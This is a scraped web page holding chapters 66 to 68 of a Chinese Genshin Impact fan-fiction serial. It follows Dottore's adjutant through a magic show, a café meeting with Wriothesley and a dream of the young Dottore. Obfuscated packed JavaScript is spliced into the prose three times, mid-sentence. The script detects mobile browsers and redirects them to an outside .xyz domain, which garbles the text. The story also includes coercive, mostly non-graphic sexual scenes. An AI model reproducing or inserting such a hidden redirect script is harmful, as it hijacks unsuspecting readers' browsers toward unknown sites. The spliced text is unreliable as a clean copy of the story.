l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039362|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 我踉跄着往前走了好几步,差点叫出声,但看见千织做了一个噤声的动作。 少女指了指外面。 “你需要帮助吗?” “啊?”我有些迷茫。 千织很有耐心地重复了一遍:“需要帮助吗?我可以替你找来枫丹廷的警卫。” 这下我明白了。 千织是误会了我和多托雷的关系,以为我是受到了多托雷的胁迫。 那一直躁动的心绪骤然冷静下来,我有些哭笑不得地解释道:“您误会了。我并没有危险。” “你确定?”千织怀疑地看着我,“你好像并不想要那件衣服,又迫于外面那人的压力而不得不答应。” 千织顿了一下:“我能感受到,外面那个人的气息,绝对不是什么普通人。如果你需要帮助的话,这恐怕是你最后的机会了。” “您真的误会了……” 费了一番口舌才将责任感超强的千织屋老板说服,不至于来枫丹的第一天就让自己的直隶上司被枫丹廷抓起来。 若真到了那种地步,恐怕会直接演变成枫丹和至冬两国的外交问题吧。 我可不想回去后还要给那位【公鸡】大人作检讨。 好不容易从千织屋出来,已经累得像是被压榨干了一整天活的社畜了。 我跟在多托雷身边,全程低着头不敢去看他,只是低头看着脚下的砖石。 余光不可避免地扫到多托雷的鞋子和小腿。 他走得很快,快得我要一心一意地把心神放在脚上才能勉强跟上速度。 似乎是注意到我跟得困难,多托雷稍微放慢脚步。 “千织屋的老板和你说了什么?” 心被提起来。 我用冷静的语气回复:“只是问了我对订单还有没有其他的要求。” 耳垂落上几根手指,拨弄着上面的耳饰。 “不要试图欺骗我,塔德纳。我不是‘切片’,你的一切,我都可以了如指掌。” “……”我轻轻闭了闭眼,“那位老板以为我遇到了危险,所以询问我是否需要帮助。” “呵。”多托雷笑了声,意味不明。 我有些胆战心惊地等待着多托雷继续开口,但他似乎失去了继续交谈的兴趣,接下来的一路,无论是千织屋,还是那句轻描淡写的“爱人”,他都没有再提起。 直到进入愚人众在枫丹的据点之一,到了多托雷在枫丹常用的休息场所,我都还有点没缓过神来。 服侍多托雷脱下外套和鞋子,我站在男人的侧后方半步,突然萌生一种想要拉着多托雷的衣领好好质问他到底是什么意思的冲动。 爱人…… 我们之间的关系,该被如此称呼吗? 明明只是因为一系列阴差阳错,为了活命不得不屈居于这个人的身边,就连那些意乱情迷,也不过是荒诞可笑的意外而已。 拥有感情的两个人才能被称作“爱人”吧。 因为恐惧而对多托雷极尽讨好的我,对多托雷的感情,恐怕更多的也只是副官对上司的尊敬吧。 至于多托雷…… 这个被所有人骂作“眼里只有实验的疯子”,这个绝对掌控着我的人,这个…… 对我怀有理性之外最疯狂的欲望的家伙…… 我几乎感到头晕了,像是低血糖一样,虚弱地快要支撑不住自己的身体。 我下意识地低声叫了一句。 “主人……” 眼前的男人似乎很快转过了身,手掌卡在我的腋下。 “怎么了?你看起来有点虚弱,塔德纳,是身体不舒服吗?” 多托雷的声音像隔着一层毛玻璃,听不清楚。 我抓着多托雷的手臂才能勉强站住,手里还未挂上的多托雷的外套失去力道落在了地上。 “主人……你……”心里的声音在催促自己。 “嗯?”多托雷回应了一声,摘下面具后那双单看去只显得冷漠的双眼压向我。 恍惚之中,我想起Omega看我的眼神。 形状上全无不同,但如出一辙地漠然。 我感到喉咙发紧。 “不……没什么。” 我有病吧…… 我怎么可能配…… 明明只是一条狗而已…… 66.第 66 章 “女士们先生们,欢迎来到林尼和琳妮特的魔术秀。现在,请各位睁大眼睛,保持完美的精力状态,不然,可是会错过最精彩的部分的哦。” 台上,优雅神秘的魔术师少年手中出现几张红色方格背样的扑克牌,一眨眼的时间,便变成了厚厚的一摞,在少年灵活的指间旋转成花。少年伸手一抛,那纸牌便向彩片一样,洋洋洒洒地飞向空中。 那之后少年又使了几个纸牌的把戏,随即将头上的魔术帽摘下。他笑着将魔术帽向观众席的方向展示了一圈。 “诸位,请仔细检查一下,这里面,现在是空空如也的。”少年将手伸进黑布衬里的帽中,作出一副用力寻找了一番的表情,然后伸出手,展示了空空的手掌。 “请不要眨眼,各位。” 少年端着魔术帽的底端:“变化往往只在瞬息之间,要是一不小心多眨了一下眼……就像,这样——” 魔术帽扑腾了两下,忽然,从里面窜出一只白鸽,白鸽扇动翅膀,环绕着最前一排的观众席低空飞翔了一圈。 观众席欢呼着。那白鸽落回到少年手中,被魔术帽重新盖住,只是轻吹一口气,复又消失不见。 氛围被彻底炒热,我甚至能听到身旁观众加快的兴奋的呼吸声。 台上的少年魔术师,即使这是他在欧庇克莱歌剧院的首秀,也不妨碍少年用轻而易举地夺取所有人的目光和注意。 啊,或许也不算是所有人。 右边的座位上,一只皮革的黑色手套覆盖整个手掌的手越过中间的隔栏压在我的手背上。冰冷的质感在微凸起的骨节上摩挲了一下,随即挤进柔软的指缝间。 我:“!” 我下意识地看了一眼旁边的多托雷。 多托雷很认真地在看表演。他的姿态很悠闲,甚至半边身体都倚靠在松软的椅背上。 “怎么了?”注意到我的视线,多托雷扭头询问。 我嗫嚅了一下嘴唇,最终还是把话咽回去了,只是摇了摇头。 “不舒服吗?如果想要回去的话,我可以现在就带你出去。” 侧耳俯下多托雷的身影,靠得极近。 我几乎是强压着自己的身体才不至于弹跳躲避。 “不,不用了。”我想起林尼开场前的话,“林尼说过表演结束想找我一下,我还是等一下吧。” 指缝间的手指收紧。 “你总是对其他人很有耐心,也很受欢迎。” 手指被夹得有些疼,我忍不住蜷缩了一下,但迫于那说不清楚因由的压力,不敢挣脱。 好在多托雷很快松了力道,改成将我的手掌抓在掌心里。 多托雷对我的态度最近有些奇怪,虽然表面上还是如以往那般,对我也还算温和,但却会做出一些莫名其妙的事情。 比如和我一起来欧庇克莱歌剧院看魔术秀。多托雷以前从不来这种无聊的地方。 还有——会在大庭广众之下对我进行肢体性接触。 我忍不住又瞟了一眼被握紧的手。 而且最近,多托雷触碰我的频率也越来越高,有时在一楼客厅的沙发,也会被多托雷引导着索要。 次数太多,以至于就算是现在,身体也透着隐约的疲惫和不舒服。 调整了好几次动作都没能找到一个能真正舒服的姿势,因为牵着手的缘故还会被多托雷问“是不是想回去”。 我的心里突然生出一点烦躁,连台上的魔术秀也没心情欣赏了,丧气地将自己摔在靠背上。 这样的坐姿大概在公共场合实在是不太雅观。我看见多托雷看我时嘴角愉悦地弯起。 好在场内足够黑暗,我的位置又在第一排靠边的地方,没人会注意到我。 等到表演结束,灯光亮起的时候,我才重新坐直,在座椅上看着观众淅淅簌簌地离开。 不远处的少年出了后台向我的方向走来,我伸手掰开多托雷的手掌把自己的手解救出来,然后才站起来。 “好久不见,林尼。” 林尼笑着回我道:“好久不见。” 他的眼神在落到多托雷身上时飞速收拢,收敛笑意后对多托雷鞠躬行礼。 “【博士】大人。” 多托雷只是轻轻抬了抬下巴。 我嫌多托雷在身边不好讲话,像多托雷寻求了暂时离开和林尼聊一会儿的请求后,便拉着林尼走开了。 等离得远了,林尼才敢呼出一口气。 “我没在给您留的座位上看见您,还以为您不会来了。您怎么会和那位大人一起来?” 林尼给我留的位置是第一排最中间的座位,视野最好。 我苦笑:“一些意外。总之不是我第一个拿到你给我的那张票的。” “不会是被【博士】大人看到了吧?” 我点头。 林尼扶额:“抱歉,我没考虑到这个情况。或许我应该提前问清楚您现在更详细的住址,我本来是想直接送到您手上的。” “不……某种程度上来说,你送的地址也不能算是错的……” 毕竟我确实住在多托雷那里,甚至睡在同一张床上。 那封带着门票的信件被送到门口的时候,我还没反应过来是寄给我的就已经被多托雷拆封了。 明明可以悄悄找时间去看,结果废了好半天的时间才求得多托雷同意我来,甚至最后还是和多托雷一起,每时每刻都能感受到被注视的感觉…… 我不欲再继续这个话题。 “恭喜,你在欧庇克莱歌剧院的首秀很精彩。没想到这次来枫丹能正好碰上你的表演,真是幸运。” 提到魔术秀,林尼的脸上才多了些少年的开朗。 “谢谢您。不过该说‘幸运’的人恐怕是我才对。塔德纳大人可是我最想要邀请来看演出的人。” 少年的热忱如火焰一般。 “不用称呼‘大人’,太过疏远了。”情绪稍微回暖,“我不习惯被朋友如此称呼,直接叫我‘塔德纳’就好。” 林尼愣了一下。 “我竟然能算做是您的朋友吗?” “为什么不?”我反问,语气也放松下来,“能有一位大魔术师当朋友,这可是我的荣幸呢。成为名人之后,可别忘记我啊。” 我打趣了一句。 少年的脸颊微微发红,眼神闪躲了一下,那点方才见面时残留的拘谨和不自在现在才完全消散。 少年轻快地答:“当然不会。以后我的每一场演出都会给你留票的,有时间的话,还请一定来看。” “是吗?小心亏钱哦,我可不会付你票钱。” “您之前送给我的礼物就已经值无数次演出的票钱了。” 林尼看向我,眼睛闪闪发亮。 “就算是单独为您表演也可以哦。”大魔术师如此许诺道。 “林尼。” 一位年岁不大的少年走过来,紧张地看了我一眼,但似乎人很害羞,又赶紧低下头,只是到林尼身边在他的耳边说了什么。 那少年两颊生着点雀斑,身后背着的像是一个潜水头盔。 耳语的声音不大,但我的听力还算挺好,只能放空了大脑刻意不去听那边的声音。 “我知道了。” 林尼看着我:“抱歉,后台出了一点事,负责道具的人员那边有点麻烦需要我去处理。” 我善解人意地道:“没事,还请不用在意我,去忙吧。” 林尼再次向我道了歉,承诺之后会请我去德波大饭店吃饭赔罪后,才和那位雀斑少年一起急匆匆地往后台赶。 我看了一会儿,等到两位少年的身影都消失不见后,才朝着观众席的方向往回走。 表演厅的灯光熄了一半,因为观众基本都已离场,现在已经差不多到清场的时间了,只有舞台上的灯还亮着几盏。 我从地势更高的后排进门,从这个角度,正好能看见些许灯光洒在最前面那排唯一还坐着的男人身上。 附近的位置都空了,只有多托雷所在的那处,灯光漫漫洒下,映出点模糊的影子。 走得稍微近点,那点影子站起来,几乎要落到我的身上。 多托雷伸手。 “聊完了?那我们回去吧。” 我怔愣了一下,才踏进那黑影里,在只剩一步的距离的时候被拉了一下半抱进怀里。 这一下,背着光的人成了两个。两道黑影紧紧靠在一起。 心里像是有一块巨石压着一样,沉闷地不舒服。 我觉得大概是多托雷这样抱着我,压到了胸腔,所以才感到气短。 手被牵起,我稍微挣扎了一下。 “疼……” 多托雷扶着手腕将我的手抬起。指间带着点青色的於痕,大概是之前被压出来的。 “我之后会轻点。”多托雷说。 我没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15046064|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回应。 多托雷口中的“之后会轻点”就像是在床上说过的“下次不会再这么久”的话一样,大概都只是说出来安抚一下我的,没有任何实际意义。 就在我愣神的时候,手指突然卷上一阵湿热,我颤抖了一下,难以置信地看到多托雷低头,舌尖卷着我的手指舔舐着往里带。 “等等,主人……” 我下意识地拒绝,但被压着放到尚且温热的座椅上,皮质的触感送进口腔深处,将剩下的声音压碎。 “呜……” 喉咙因为异物闯入而难受,手指被舔舐的感觉也愈发明显,淤青被触碰是会有微微刺痛的感觉,但更多的是被湿热柔软的舌含住,无助地陷入更热的口中吸吮的怪异感。 这样的姿势,多托雷几乎是半跪在地上,我无力地仰着头被包裹在座椅里,腿间被多托雷的身体岔开。 过了一会儿,多托雷才抽出手指,湿漉漉地掐着我的下颌和我接吻。 口腔张开得太久又酸又累,连迎合的力气都没有多少。 过了很久,等到晕乎乎地被放开时,我听到伏在耳边的声音问我。 “你似乎不是很开心。和我一起出门让你感到不快乐吗,塔德纳?” 我不清楚多托雷到底是想得到什么样的回答,但我现在确实是“唰”地一下冒出了一身冷汗。 “没……没有。” “你和那位少年在一起的时候会笑,也更轻松。但和我在一起的时候,你大多数时候都很沉默。” 我感到头皮发麻。 多托雷这是又吃错什么药了…… 多托雷似乎没打算要我的回答。 他再次覆上来,一只手托着我的后颈吻上来。这一次舌头进得格外深,我甚至能感觉到最里面的软肉被舔舐的感觉。 呼吸的节奏一下子被打乱,只是迎合都很痛苦,更多的时候我都是张开嘴被迫承受,等到多托雷尽了兴,才能被放开稍微呼吸一下。 最后被亲得连腿都软了,不得不被多托雷抱着回去。 那日之后,多托雷像是终于想起自己来枫丹是有正事要干的了,不再每日待在住所,白天的时候会在枫丹的实验室研究修复Omega切片的事。 我也终于稍微得了一点空闲,不必时时刻刻都待在多托雷的眼睛下。 寻找材料修复的事情多托雷准备亲自安排,于是我每天的事情只剩下在咖啡厅点一杯咖啡,买一本最新的枫丹很火的推理小说,在咖啡厅消磨过大半天的时日,然后在傍晚的时分去一趟实验室和多托雷一起回住所。 一切似乎又回到了异常发生之前的状态,只需要偶尔应付一下多托雷,大部分的时间,完成好自己的工作后能再抽出一点时间做做自己的事。 比如消耗大把时间在咖啡厅读毫无科研价值的推理小说,或是,与“朋友”交谈一下像是“最近天气不错”,或是“某家的菜式出了新款可以尝试”。 无论是认识的,或是不认识的“朋友”。 若是见面通报过一遍名字,或是在其他人话语里不小心听到了某个人的名字,我都大多会将名字记下,等到被搭话的时候,这样就可以从记忆里很方便地拎出来。 准确地呼叫出一个人的名字往往能够在人际交往中发挥巨大的作用。 所以在连续第三天桌子的对面坐上某个相同的男人后,我忍不住询问了他的姓名。 “姓名?原来你是会先在意这个的人吗?我还以为你对其他人没什么兴趣,毕竟你几乎从不主动和别人说话。” 我保持微笑:“那么,很显然,连续三天踩着我来这里的时间坐我对面的人并不在这个范畴。” “哈哈。”男人笑了两声,“看来你比我想象中的更幽默。是想阴阳怪气地嘲讽一下我吗?” “我并没有这个意思。请容我提醒,乱造谣的话,在枫丹说不定会被判刑关进监狱里。” “哦?有意思的说法。”男人的语调拉长上扬,“不过这对我恐怕没什么用。” 身着黑色服饰,腰间别着手铐的男人轻笑一声,将右手越过桌面,伸到我面前。 我低头,看见那手臂上困缚的黑色布料和隐约可见的伤痕。 “莱欧斯利。请多指教。” 我犹豫了一下,才握上那只手,黑色的布料缠绕半只手掌的范围,指间的金属环饰有些硌手。 “……叫我‘塔德纳’就好。” 67.第 67 章 莱欧斯利,主管梅洛彼得堡的公爵大人。而在成为“公爵”之前,也是一位“罪犯”。 这位公爵大人据说无要事从不会出海,大部分时间都待在海下的梅洛彼得堡镇守。 恪尽职守,名副其实的大忙人。 我稍稍挺直腰。 两人的手掌一触即分。 “公爵大人,久仰。大老远地从海下上岸,却只是天天来咖啡厅盯着我看小说,看来您这位公爵大人当得还挺轻松。” “梅洛彼得堡的事情再多,恐怕也比不过一位愚人众执行官的副官大人吧?既然副官大人都如此清闲,我又有什么理由忙碌呢?” 眼前的男人回答无懈可击。 难缠的对手…… 我将手边的推理小说拿起。 “看来公爵大人有所不知,就算是愚人众,也是会休假的。如果是公务上的事务的话,还请以正式渠道预约见面。至于现在,”我扶着桌边站起来,“鄙人就不打扰公爵大人您难得的休息时间了,请容我先行告退。” 就在我拉离椅子准备离开的时候,咖啡厅的侍者正端着咖啡走过来,刚好拦在我要走方向上。 那大概是一位入职不久的新人。侍者有些慌张地看着我。 我向那位侍者稍微点了点头,随即往莱欧斯利的方向退了两步,让出能够让侍者行走的宽度。 侍者感激地看了我一眼,从我让出的空道走过将咖啡上给后一桌的客人。 莱欧斯利饶有兴趣地看着我。 “传闻中愚人众第二席执行官的副官,看起来似乎并不如流言所说的可怕。” “要不然呢?”我回看过去,“还是说您更希望在此见证一场足以引发外交危机的事故发生?公爵大人,除去愚人众的身份,鄙人也只是一个普通人罢了。” “抱歉,是我说错话了。”莱欧斯利相当干脆利落地道了歉。“这样吧,作为道歉礼,请允许我请你一杯咖啡吧。” 我刚想拒绝,但莱欧斯利已经招手叫了侍者。 拒绝的话堵在喉咙里,我顿了一下,最终还是坐回到原位。 刚才的侍者来到桌边。 “请问两位需要些什么?” 莱欧斯利看我:“你先请吧。” 侍者转向我。 我:“……一杯浓缩,不加糖。谢谢。” 莱欧斯利有些惊讶:“这个点喝浓缩的话,晚上会睡不着的吧。” “咖啡因对我的效果一般。” 莱欧斯利笑起来:“真是令人羡慕的体质。我就不太行了,虽然很喜欢喝茶,但若是摄入的量过多,会晚上睡不着。第二天起来被发现精神不济的话可是被护士长批评的。” 我保持沉默。 莱欧斯利倒也没有自讨没趣地等我回复,说完就直接跟侍者点了他那份的单。 “一杯拿铁,帮我多加一份牛奶。” 不多久,侍者就端着两份做好的咖啡一左一右放到了我和莱欧斯利的面前。 我看着莱欧斯利悠闲地往咖啡里加了半份牛奶,然后还加了一块方糖。 我对甜食一般,偶尔吃饭也大多是清淡的饮食,宴会上的食物基本都是当作摆设,我作为执行官的副官,光是应酬就占了我大半部分的时间,哪有抽得出来空尝尝那些食物。 不过就算是真的有空尝试我也并不是很想,毕竟宴会上的食物虽然菜品多样,却尽是些摆放时间过久凉透了的冷菜。 Theta倒是会费些心思在饮食上面。 但那家伙的烹饪技术一如既往地稀烂,没有我在的话,我甚至会怀疑Theta会被自己做的菜毒死。 如果Theta的身体构造真的还能食物中毒的话。 扯远了。 总之我和莱欧斯利之间缄默了很久。 莱欧斯利留下我似乎真的只是打算给我赔罪而已。这位公爵大人现在对他手中的咖啡更有兴趣,喝到一半时更是将剩下的一半牛奶也倒进了咖啡里,以至于那杯拿铁显得格外白。 “副官大人,对我喝咖啡的方式感到好奇吗?” 那双缺少光亮的眼睛望过来。 我端起手边的咖啡遮掩了一下视线。 “只是第一次见把咖啡当牛奶喝的人。” 莱欧斯利轻笑一声。他真的很喜欢笑,以至于长相虽然有些凶狠,却意外地压迫感不是那么强。 “我认识的一个人会将清水当成所有的饮品,这样,是不是我就显得正常多了?” 我:“……” 莱欧斯利:“哈哈,开个玩笑。我一般不这么喝,只是今天早上已经喝过一杯了,所以不能再多饮用。” “‘清水’那个也是玩笑吗?” “可惜,那个是真的。” …… 原来这个世界上还有这种人。该说不愧是水之国枫丹吗? 莱欧斯利喝完,放下手中的杯子,视线落到我的手边。 “《两个铳枪手》。最近很火的小说,据说内容很不错。副官大人也会对这种娱乐性质的书感兴趣吗?我还以为身为副官会没有时间读这种书。” 试探地过于明显。 我将手中的咖啡杯放下压在手边的书上。 “一点私人爱好而已。公爵大人连这个也要盘问吗?” “梅洛彼得堡虽然是罪犯流放后的容纳之地,却也没有权利对任何一位合法的公民审讯裁判。这只是出于我私人的好奇心而已,如果感觉不适的话,还请随时拒绝就好。” 莱欧斯利真诚地说。 “所以,能有幸倾听一下副官大人对这本书的理解吗?如果真的很不错的话,说不定我也会去拜读一下。” 被滴水不漏地糊弄过去了。 梅洛彼得堡的公爵大人果然没有那么好对付。 我摩挲着手边小说光滑的封面,斟酌一下开口。 “因母亲被雇家的伯爵杀害,相依为命的兄妹无法接受案件因为伯爵家的势力而被判定为自杀事件,潜心蛰伏数年,最终成功得以报仇的故事。不知道您是否会喜欢这样的故事。” “嗯……”莱欧斯利的语调拉长。 他思考了一下才说:“正义必将会胜出的故事吗?确实很不错。兄妹两人最后的结局呢?” “报仇成功后,他们二人成为了两个铳枪手。” “原来如此。这就是书名的来源啊。” 莱欧斯利微笑摊手:“不过若是让我来写的话,兄妹两人最后的结局应该是前往自首,在报仇雪恨之后,进入监狱忏悔他们杀人的行径。” “糟糕的结局。会被读者骂的吧。” “脱离审判程序之外的正义,民众总是喜欢这样的故事。”莱欧斯利无奈地笑笑,“看来我只适合当梅洛彼得堡的管理者,而非成为一名作家。” 我看着莱欧斯利,一时间看不透这位年轻的公爵心中到底是何想法。 程序正义? 这位公爵大人因在压迫中不得不杀死自己的养父母而入狱,又凭借着各种手段成为梅洛彼得堡的新任管理者。 这样的人会信仰“程序正义”? 实在难以想象。 莱欧斯利:“你还没有回答我的问题呢。既然我已经回答了你的问题,副官大人是否应该礼尚往来一下?” “枫丹的法律有规定‘被提问者必须回答问题’或者‘必须回馈他人的某一行为’吗?”我询问。 “并没有。” “既然如此,我自然也没有非得回答的必要。不是吗?” 莱欧斯利愣了一下。 只在这一瞬,这位外表年轻的公爵大人仿若才稍微褪去了一点身上笼罩着的威严与神秘。 但他很快反应过来:“好吧。看来副官大人对这本书的结局还挺满意。” 我站起来,一手扶着咖啡杯,另一只手将下面的小说抽出来。 因为咖啡液稍稍浸透出来,在封面上留下了一个淡淡的圆圈形状的咖啡印记。 “不。我对结局没什么看法,小说就只是小说,娱乐性的产物而已。” 我将那本小说放在桌子的中心,手指推着书边将它推到莱欧斯利面前。 “送给您了。比起我,或许您更需要这本书。” 我没有去看莱欧斯利的表情,将书放在男人面前后就转身离开了。 此刻的时分,太阳已经西斜,只是离平时去实验室的时间还隔着一段时间。相比较和枫丹的高层在一张桌子上喝咖啡互相试探,我更宁愿早一点去实验室。 大不了多等一下多托雷。 枫丹的愚人众实验室,零零碎碎大概有六处,分布在枫丹境内的各个区域。距离枫丹廷最近的一处大约有半个小时的步程。 等到实验室的时间,大概是下午四点半,对门外的士兵点头示意后我推开门进去了。 装修上,与至冬的实验室风格稍有不同,不过总体上仍然是讲究简洁高效的风格。 顺着熟悉的廊道行进,我伫立在实验室的门口,正准备敲门,却发现门没关,半开着。 里面的身影在我到门口的一瞬间转头看向我。 “你来了,塔德纳。”多托雷如此说,“比起平时的时间要早。” “抱歉,主人,下次我会注意好时间。”我低头。 “无妨。进来吧。” 多托雷说完就接着忙他的工作了。 我走进去,才发现正中间似乎多了一尊长方体的方柜容器。前几天还没见过。 稍微走进便能看到透明的玻璃背后,安静躺着的身形与多托雷如出一辙,只是身体光裸,胸口空着一个黑漆漆的洞口,露出机械的结构。 是Omega切片…… 多托雷竟然把Omega也带来枫丹了。 一看到Omega,我就不由得想起不久前被Omega用匕首剖开身体折磨的痛苦。虽然当时因为要以计划为重坚持了下来,但如今再想起,胸口也在幻痛着。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049307|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 多托雷正在装配一个圆柱形的机械装置,结构过于复杂,以我半吊子的入门水准根本看不懂。 我忍不住开口询问:“Omega大人的身体,多久能修复好?” 多托雷抬头,视线在我身上停留了几秒,接着才意味不明地笑出来。 “你很关心?是希望快一点,还是慢一点呢?” 我:“……” 这种事情怎么可能是我能决定的事情。但看多托雷的态度,Omega的身体修复似乎并不是很困难。 果然,多托雷接下来的话是:“很快就可以了。身体的修复已经完成,只需要接入能源装置,Omega就能重新启动了。” “……那我们很快就要离开枫丹了吗?” 多托雷:“当然不。我们还会继续在枫丹待半个月左右的时间。为了在此之前不多生事端,我预备将接入能源装置唤醒Omega的事情推迟到回至冬后再做。” 我松了口气。 只要不用在枫丹就面对Omega切片就好。 距离上次的对峙才过去没多久的时间,即使是我,也会有强烈的不安感和回避意愿。 能源装置似乎比想象中的更为复杂,多托雷又安装了大概半个小时才堪堪完成。 他将能源装置放在工作台上,随后和我一起离开实验室回到在枫丹的住所。 洗漱结束后,我从浴室出来,身上的浴袍还没来得及更换就看见床上倚靠床头坐着的多托雷朝我招了招手。 我走过去,想要俯身询问的时候被多托雷伸手按着肩膀屈膝跪在床上,脸颊被捧着稍微抬起,多托雷的吻落下来,舌头卷进去。 刚沐浴完的身体还带着热腾腾的蒸汽,多托雷扯掉我身上的浴袍,带着冷意的手掌落在小腹。 我颤抖了一下。 脖颈上支撑的手掌安抚了一下,随即双.腿被手掌打开,多托雷欺身压上来。 一阵荒唐…… 等到哭得意识混沌,不停地求饶到连声音都嘶哑了才被多托雷放开。简单清洁后身体被扶着放进被窝,困意如黑潮席卷。 …… 我似乎,又做了一个梦。 梦里的自己穿着平时非工作时间段会穿着的休闲风的服饰行走在某一条街道上,道上的路人来来往往,但似乎都看不见我一般。 我甚至看见自己的身体从某个人身上穿过。 我走了很久。 应该是很久吧,久到即使在梦里也不由得感受到了一丝疲惫。 等到终于找到可以休息的长椅坐下来,我看着远处高圆顶的建筑以及花坛里栽种的须弥蔷薇,才恍惚想起来这里似乎是须弥。 多年未回的故乡。 我有些茫然,既不知道为何自己出现在须弥,也不知道自己应该去哪。 不远处突然出现一名少年。 他穿着教令院的学生服饰,年岁不大,有一头薄荷色的微卷短发。 那双红色的眼睛看向我。 “你是谁?”他问。 “我?” 我眨了一下眼。 眼前的少年分明如此眼熟,我却一时半会儿不知为何想不起来少年是谁。 “算了。”少年来到我身前,我甚至没看清楚少年是何时到我面前的,只觉得唰地一下,下一秒面前便多了一个人。 少年精致但冷漠的脸微微抬起。 “你是来找我的吧。”他说,“既然如此,就牵好我的手。” 少年伸出手。 我低头看着少年的手掌,血色浅淡的手指上遍布大大小小的刀痕和划痕。 我有些犹豫。 虽然说不清楚是因为什么原因,但心中却莫名踌躇着。 仿若在自主地回避害怕眼前的少年一般。 我如此想着,心中也不免为自己心中突然出现的想法感到好笑。 害怕? 对一个年龄只有十几岁,身高只到胸口的少年吗? 少年似乎有些不耐烦了。 “你到底牵不牵?不牵我就走了。你准备一个人留在这里吧。” “别。我牵。” 我赶紧伸出手。 少年的手掌比预想中的要大一点,也更柔软,但体温不知道为何却很低,拉上去像是握住了冰块。 少年的手用力地回握,我几乎感觉到手指被捏得有些痛。 我正想开口让少年轻点,低头的时候却发现刚才拉着我的少年不知何时变得面容模糊,脸上雾气朦胧。 我用力眨了眨眼,却见那团雾气消散,露出的是被皮肉完全覆盖,却没有五官的脸! “啊!” 我用力甩着被牵着的手,但少年的手力气很大,怎么甩都甩不开。 更可怕的是,随着我挣扎的动作,那少年也转过头,肩膀不动,只有那脖颈僵硬地旋转,于是那张没有五官的面容也缓缓朝向我,慢慢靠近。 “你,也在害怕我吗?” 68.第 68 章 我想起来了,眼前少年的名字。 多托雷。 即使面容与Alpha切片完全相同,只是换了一身教令院的衣服。但我很确定,眼前的少年是多托雷本身,而非以少年时期为摹板的Alpha切片。 可是,多托雷为何会出现在我的梦里?还是少年时期的多托雷。 明明…… 明明我和少年时期的他完全不认识才对。 眼前少年的身影变得模糊。我感到一阵头疼,似乎有什么香味飘过,很淡。 还没等我分辨出来,下一刻,身体像是突然失重,等到再一次恢复正常,我已经身处一间教室里了。 少年依旧拉着我的手,但是脸恢复了正常。 我下意识地松了口气。 少年疑惑地看了我一眼,似乎不明白为什么我突然这样。 少年似乎完全不知道刚才发生了什么的样子…… …… 等等…… 刚才……发生了什么? 头又开始疼了,鼻尖若有若无的香味再次出现,甚至变得浓郁了几分,有点熟悉。 我应该对这种香味有印象才对…… 但想不起来了。 不远处传来骚动。 我看见教室里不知道什么时候出现了好多人,他们全部都是面对着我的方向,半围成一个圈,脸上带着愤怒和厌恶的表情。 少年不知何时不在我身边了。 他被围在众人中间,身躯明显比起周围的成年人要瘦弱矮小许多。 “滚!怪物!还说什么‘破格录取的天才’,没想到是连道德伦理都践踏的家伙。我们这里不欢迎没有同情心的家伙。” “就是就是!把他赶出去!谁要和这种怪胚在一个班上课?要是被怪胚盯上拉去做实验……咦呃。” “不……我没有那种想法……” “没有?呵,到底是谁说的‘人只不过是更加精密的机器,只需要稍加改造便可以变得更强’?而且,你早就私下在用动物进行实验了吧?真恶心。” “能拿动物做实验,谁说做不出拿人做实验的事情?” “就是!我怎么会认识这种人?” “不……我真的没有要用人来做实验的想法。用来做实验的动物都是找别人购买的要售卖的动物……” “得了吧,谁信啊。” “怪胚!疯子!怪物!把他赶出去!” 人群开始起哄起来,将少年辩解的声音彻底压下去。甚至有人伸手推搡着少年。 “怪胚!疯子!怪物!” “怪胚!疯子!怪物!” “滚出去!” 终于,人群中有人用力地将少年推到在地上,少年重重地摔在地上,胳膊摔出一大片青紫。 我吓了一跳,下意识两步跑到少年面前,想要阻止那些人,但拳头却从身体里穿过。 我愣住了,才想起来自己是触碰不到其他人的。 除了少年之外,没人能看到我,也没人能触碰到我。 我看到少年用胳膊挡住自己的脸,但瘦弱的身形还是被密密麻麻的殴打打得踉跄。 少年咬着牙,连一声求饶和痛呼都不愿意发出来。 “啧……” 我一把将地上的少年拽起来,拉着胳膊护在自己的怀中,半抱着少年跑出去。 心情莫名烦躁。 “你不知道跑吗?” 怀中的少年抓着我胸前的衣服,不肯将脸露出来。 我跑出去后便发现身边的情景再一次旋转变化,这一次,我来到了一个房间里,房间的装饰非常熟悉。 这下我想起来了。 这是赞迪克的家。也就是少年的住所。 与五百年前遇到赞迪克时并没有太大的差别。唯一不同的,大概是床对面方向的墙摆放着一大堵玻璃展柜,里面陈列着各色的动物切片样本。 没有人的…… 在连自己都会忽略的瞬间,我悄然松了口气。 怀中的少年骤然直起身。他离得我极近,那双红色的眼睛几乎快贴着我。 “你也在害怕吗?害怕我是个疯子,要用人做实验吗?” 我心脏骤停。 “怎么会?”我保持镇定。 “那你为什么看到我的房间后,会变得那么紧张?”少年逼问。 不能让少年察觉异常…… 我将少年的手掌拿起,在少年凶恶的表情中将那掌心贴在左胸胸口的位置。 “我没有紧张。我只是突然被带到这里有点头晕而已,速度太快了。你看,我敢将这里放在你的手中,怎么可能会害怕的是你呢?” 